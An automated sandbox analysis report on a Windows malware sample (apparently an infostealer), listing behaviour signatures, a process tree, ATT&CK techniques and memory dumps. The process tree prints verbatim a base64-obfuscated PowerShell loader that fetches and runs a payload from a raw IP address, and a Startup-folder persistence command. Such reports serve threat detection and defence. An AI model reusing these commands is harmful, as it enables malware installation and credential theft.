Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20251223-en - resource tags
- submitted
24/12/2025, 12:30
General
- Target file.exe
- Size 148KB
- Sample251224-pptd2ac13a
- SHA256 a0eabc8450dbb16ad25e3c54327e63404916fa66d2f1d4e5cfcca44962f59c19
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c 694bdbfc95f17.vbs2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\694bdbfc95f17.vbs"3⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAG0AYQBnAGUARABhAHQAYQAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AJAB1AHIAbABzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJAB1AHIAbAAgAGkAbgAgACQAdQByAGwAcwApACAAewAgAHQAcgB5ACAAewAgACQAcgBlAHEAdQBlAHMAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJAB1AHIAbAApADsAIAAkAHIAZQBxAHUAZQBzAHQALgBNAGUAdABoAG8AZAAgAD0AIAAnAEcARQBUACcAOwAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAgACQAcwB0AHIAZQBhAG0AIAA9ACAAJAByAGUAcwBwAG8AbgBzAGUALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAUwB0AHIAZQBhAG0AKAApADsAIAAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAIAAkAHMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACkAOwAgAHIAZQB0AHUAcgBuACAAJABtAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUAByAG8AdABvAGMAbwBsACAAPQAgACcAaAB0AHQAcAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwBlAHAAYQByAGEAdABvAHIAIAA9ACAAJwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUAVQByAGwAIAA9ACAAIAAkAFAAcgBvAHQAbwBjAG8AbAAgACsAIAAkAFMAZQBwAGEAcgBhAHQAbwByADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnADEAOQA2AC4AMgA1ADEALgAxADAANwAuADEAMgAvAHAAdQBiAGwAaQBjAF8AZgBpAGwAZQBzAC8AdABlAHMAdAAuAGoAcABnAD8AMQAyADcAMQAxADMAMQAzACcAKQApADsAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEcAZQB0AC0ASQBtAGEAZwBlAEQAYQB0AGEAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAE4AYQBtAGUAIAA9ACAAJwBsAGYAcwAnACsAJwBnAGUAZAAnACsAJwBkAGQAZABkAGQAZAAnACsAJwBhACcAOwAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBJAGcAZgBxAGsAYwB2AC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwAyADEALgA3ADAAMQAuADEANQAyAC4ANgA5ADEALwAvADoAJwAsACAAJwAxACcALAAgACcAQQAwAEEAQgB6ADUATgBWAGwAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACkAKQB9AH0A';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','r') ));& ([scriptblock]::Create($OWjuxD))4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\A0ABz5NVl.bat' -Force }5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
694bdbfc95f17.vbs
__PSScriptPolicyTest_aj5ptbqv.j1f.ps1
memory/3260-12-0x000001A8BD080000-0x000001A8BD0A2000-memory.dmp
memory/3260-13-0x000001A8BD430000-0x000001A8BD446000-memory.dmp
memory/5528-21-0x0000000000400000-0x0000000000460000-memory.dmp
memory/5528-27-0x0000000004D00000-0x0000000004DD6000-memory.dmp
memory/5528-28-0x0000000004ED0000-0x0000000004F36000-memory.dmp
memory/5528-29-0x0000000005B20000-0x0000000005BB2000-memory.dmp
memory/5528-30-0x0000000006170000-0x0000000006714000-memory.dmp
memory/5528-31-0x0000000006820000-0x0000000006958000-memory.dmp
memory/5528-39-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-47-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-143-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-155-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-153-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-151-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-149-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-147-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-145-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-139-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-137-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-135-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-131-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-129-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-127-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-123-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-121-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-119-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-115-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-113-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-111-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-109-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-105-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-103-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-101-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-99-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-97-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-95-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-93-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-89-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-87-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-85-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-83-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-81-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-79-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-77-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-75-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-73-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-71-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-67-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-65-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-63-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-61-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-57-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-55-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-53-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-51-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-49-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-46-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-43-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-41-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-37-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-141-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-133-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-125-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-117-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-107-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-35-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-91-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-69-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-33-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-59-0x0000000006820000-0x0000000006952000-memory.dmp
memory/5528-32-0x0000000006820000-0x0000000006952000-memory.dmp